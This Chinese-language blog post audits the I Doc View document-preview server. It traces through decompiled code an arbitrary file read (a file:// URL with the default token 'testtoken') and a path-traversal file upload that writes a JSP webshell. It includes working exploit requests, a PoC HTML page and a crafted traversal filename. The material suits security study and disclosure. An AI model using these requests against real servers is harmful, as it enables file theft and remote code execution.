好久没有代码审计了,机缘巧合之下获取到了 I Doc View 的源码,那么就分析一下最近爆出来的漏洞吧

影响版本:

  • I Doc View<13.10.1_20231115

这次分析的版本为: Version: 6.9.8_20160812

在线文档预览API接口:https://www.idocv.com/docs.html

代码审计

/doc/upload 任意文件读取

看到控制器:classes/com/idocv/docview/controller/DocController.class

可以看到这里需要存在参数token,如果查询结果为 null 则 throw 抛出异常
跟进到classes/com/idocv/docview/dao/impl/AppDaoImpl.class的 getByToken 方法

使用QueryBuilder.start查询token的值

其实这个值在默认安装的时候已经被设置了:https://soft.idocv.com/idocv.zip

应用token默认设置为 testtoken,接着往下看

由于我们是GET传参,会执行到this.docService.addUrl(req, app, uid, name, url, mode, label)

跟进到classes/com/idocv/docview/service/impl/DocServiceImpl.class的 addUrl 方法

这里this.urlViewAllowDomains需要设置为*

直接会执行到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (StringUtils.isNotBlank(url) && url.matches("file:/{2,3}(.*)")) {
host = url.replaceFirst("file:/{2,3}(.*)", "$1");
File srcFile = new File(host);
if (!srcFile.isFile()) {
logger.error("URL预览失败,未找到本地文件(" + host + ")");
throw new DocServiceException("URL预览失败,未找到本地文件(" + host + ")");
}

if (StringUtils.isBlank(name)) {
name = srcFile.getName();
}

data = FileUtils.readFileToByteArray(srcFile);
...
if (ArrayUtils.isEmpty(data)) {
throw new DocServiceException("未找到可用的网络或本地文档!");
} else if ((long)data.length > this.uploadMaxSize) {
logger.error(this.uploadMaxMsg);
throw new DocServiceException(this.uploadMaxMsg);
} else {
vo = this.add(req, app, uid, name, data, mode, labelName);

即通过正则匹配获取到file://协议后的文件路径,然后使用new File()读取该文件储存为data,调用add方法

跟进到addDoc方法

需要注意:

  1. 通过传参 name 满足上传的后缀,否则直接 throw 抛出异常了
  2. 如果没有传md5,那么md5 = DigestUtils.md5Hex(data);,注意这里 data 为文件内容,然后使用convertPo2Vo(this.docDao.getByMd5(md5, false))进行查询,如果存在该值,则直接 return 返回

最后会调用FileUtils.writeByteArrayToFile(new File(this.rcUtil.getPath(rid)), data)将读取到的文件内容写入到新的文件中

将文件路径保存到 srcUrl,并会 return result 返回结果

漏洞利用

由于是windows环境下,我们尝试读取c:/windows/win.ini

1
/doc/upload?token=testtoken&url=file:///c:/windows/win.ini&name=1.txt&md5=1111

访问该文件

/html/2word 任意文件上传漏洞

看到控制器:classes/com/idocv/docview/controller/HtmlController.class

这里会判断 md5Url 文件目录下的 index.html 是否存在,如果不存在则调用GrabWebPageUtil.downloadHtml(url, htmlDir)进行下载

跟进到classes/com/idocv/docview/util/GrabWebPageUtil.class的 downloadHtml 方法

这里的obj对象可控,跟进到getWebPage(obj, outputDir, "index.html")

这里filename为定值index.html,new File(outputDir, filename)创建File对象,obj.openConnection()对传入的URL建立连接,接着往下看

获取到 URLConnection 响应的内容,并调用GrabUtility.searchForNewFilesToGrab(htmlContent, obj)处理,最后将结果写入到 outputFile 文件内

看到classes/com/idocv/docview/util/GrabUtility.class的 searchForNewFilesToGrab 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static String searchForNewFilesToGrab(String htmlContent, URL fromHTMLPageUrl) {
Document responseHTMLDoc = null;
String urlToGrab = null;
if (!htmlContent.trim().equals("")) {
responseHTMLDoc = Jsoup.parse(htmlContent);
System.out.println("All Links - ");
Elements links = responseHTMLDoc.select("link[href]");
Iterator var5 = links.iterator();

while(var5.hasNext()) {
Element link = (Element)var5.next();
urlToGrab = link.attr("href");
addLinkToFrontier(urlToGrab, fromHTMLPageUrl);
System.out.println("Actual URL - " + urlToGrab);
String replacedURL = urlToGrab.substring(urlToGrab.lastIndexOf("/") + 1);
htmlContent = htmlContent.replaceAll(urlToGrab, replacedURL);
System.out.println("Replaced URL - " + replacedURL);
}

System.out.println("All external scripts - ");
Elements links2 = responseHTMLDoc.select("script[src]");
Iterator var11 = links2.iterator();

while(var11.hasNext()) {
Element link = (Element)var11.next();
urlToGrab = link.attr("src");
addLinkToFrontier(urlToGrab, fromHTMLPageUrl);
System.out.println("Actual URL - " + urlToGrab);
String replacedURL = urlToGrab.substring(urlToGrab.lastIndexOf("/") + 1);
htmlContent = htmlContent.replaceAll(urlToGrab, replacedURL);
System.out.println("Replaced URL - " + replacedURL);
}

System.out.println("All images - ");
Elements links3 = responseHTMLDoc.select("img[src]");
Iterator var14 = links3.iterator();

while(var14.hasNext()) {
Element link = (Element)var14.next();
urlToGrab = link.attr("src");
addLinkToFrontier(urlToGrab, fromHTMLPageUrl);
System.out.println("Actual URL - " + urlToGrab);
String replacedURL = urlToGrab.substring(urlToGrab.lastIndexOf("/") + 1);
htmlContent = htmlContent.replaceAll(urlToGrab, replacedURL);
System.out.println("Replaced URL - " + replacedURL);
}
}

return htmlContent;
}

简单来说就是获取link[href]script[src]img[src]三个标签内对应的值,然后通过addLinkToFrontier方法添加到filesToGrab变量中

回头看到 downloadHtml 方法

发现会从 GrabUtility.filesToGrab 中获取值,并再次调用getWebPage(obj, outputDir)

而这里我们的filename就是可控的,但是由于是通过/进行截取,所以只能在windows条件下,通过..\..\..\..\构造目录穿越

最后最巧的就是竟然没有匹配jsp后缀

1
if (!filename.endsWith("html") && !filename.endsWith("htm") && !filename.endsWith("asp") && !filename.endsWith("aspx") && !filename.endsWith("php") && !filename.endsWith("php") && !filename.endsWith("net")) {

即成功写入outputFile对象,内容为conn.getInputStream()

漏洞利用

test.html:

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html lang="en">
<head>
<title>test</title>
</head>
<body>
<link href="/..\..\..\docview\poc.jsp">
</body>
</html>

然后通过 touch 命令构造

1
touch '..\..\..\docview\poc.jsp'

最后/html/2word?url=http://ip:port/test.html

参考:
【漏洞复现】I Doc View任意文件上传漏洞
IDocView 前台RCE漏洞分析

总结

这个系统可以说是非常简单进行代码审计的一类,因为代码量相对很少,并且就使用了 Spring MVC 中的 Interceptor 和 controller,逻辑比较简单

这次漏洞也很巧合的是windows可以使用..\进行目录穿越,从而绕过限制